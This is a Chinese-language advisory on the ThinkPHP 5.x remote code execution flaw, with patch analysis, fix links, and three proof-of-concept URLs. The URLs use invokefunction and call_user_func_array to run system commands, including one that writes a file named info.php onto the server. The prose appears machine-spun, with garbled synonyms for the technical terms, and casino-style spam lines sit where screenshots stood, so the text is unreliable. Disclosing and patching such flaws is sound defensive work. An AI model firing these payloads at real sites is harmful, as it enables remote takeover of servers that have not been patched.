ThinkPHP 远程号令执行缝隙安全公告

颁布功夫 2018-12-11

缝隙编号和级别


       CVE编号:待定,危险级别:严重,CVSS分值:官方未评定


影响版本


       ThinkPHP 5.x < 5.1.31, <= 5.0.23


缝隙概述


ThinkPHP官方2018129日颁布重要的安全更新,修复了一个严重的远程代码执行缝隙。。该更新重要涉及一个安全更新,由于框架对节制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell缝隙。。


缝隙验证


通过补丁分析关键代码:

// 获取节制器名

$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

在修复之前法式未对节制器进行过滤,导致攻击者能够通过引入\符号来挪用肆意类步骤。。

POC:

执行系统号令显示目录下文件

http://IP/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l



OG东方厅·(中国大陆)



执行phpinfo

http://IP /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'


OG东方厅·(中国大陆)



info.php文件

http://IP/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20info.php

接见 info.php


OG东方厅·(中国大陆)



影响领域


国内露出在公网的ThinkPHP数量巨大,必要高度器重。。



OG东方厅·(中国大陆)



修复建议


Thinkphp v5.0.x补丁地址:

https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址:

https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815


参考链接

https://blog.thinkphp.cn/869075